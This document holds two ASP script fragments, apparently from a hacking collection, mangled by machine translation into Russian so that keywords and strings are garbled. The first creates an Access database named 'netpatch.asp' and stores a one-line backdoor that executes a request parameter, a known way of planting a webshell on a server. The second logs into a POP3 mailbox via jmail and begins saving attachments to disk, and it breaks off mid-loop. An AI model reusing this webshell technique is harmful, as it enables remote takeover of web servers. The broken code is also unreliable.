<%
'CodeBynetPatch
Dimdbfile, SQL
db = "netpatch.asp"
dbfile = server.mappath (db)
setydb = server.createObject ("adox.catalog")
ydb.create "Provider = microsoft.jet.oledb.4.0; dataSource =" & dbfile
setydb = ничего
iferr.number = 0then
Response.writedbfile & "Создать успешно <br>"
еще
Response.write "Создание не удалось, причина:" & err.description
Response.end
эндиф
SetConn = server.createObject ("adodb.connection")
Conn.open "Provider = microsoft.jet.oledb.4.0; dataSource =" & dbfile
SQL = "CreateletableFdata ([DATA] MEMO)"
conn.execute (sql)
Setrs = createObject ("adodb.recordset")
Rs.open "fdata", Conn, 1,3
Rs.addnew
rs ("data") = "┼power number и оживите врага ->" '(не забудьте удалить комментарии! Одно предложение Backdoor exuritionErquest ("n")))
Rs.Update
%>
Записать файлы в jmail на жесткий диск
<%
'Codzbykevin1986 [S4T]
User = request.form ("user")
Pass = request.form ("pass")
Popserver = request.form ("popserver")
ifuser <> "" andpass <> "" "и ppopserver <>" "then
SetObjmail = createObject ("jmail.pop3")
objmail.connectuser, Pass, Popserver
setObjmsg = createObject ("jmail.message")
Setobjmsg = objmail.messages.item (1)
сепаратор = ","
response.write "AttachmentNameis:" & saveatta & "<br>"
objmail.disconnect
Эндиф
Functionsaveatta ()
Setattachments = objmsg.attachments
сепаратор = ","
response.write "TheSizeOfTisatTachmentis:" & objmsg.size & "<br>"
Fori = 0toattachments.count-1
Ifi = вложения. Count-1then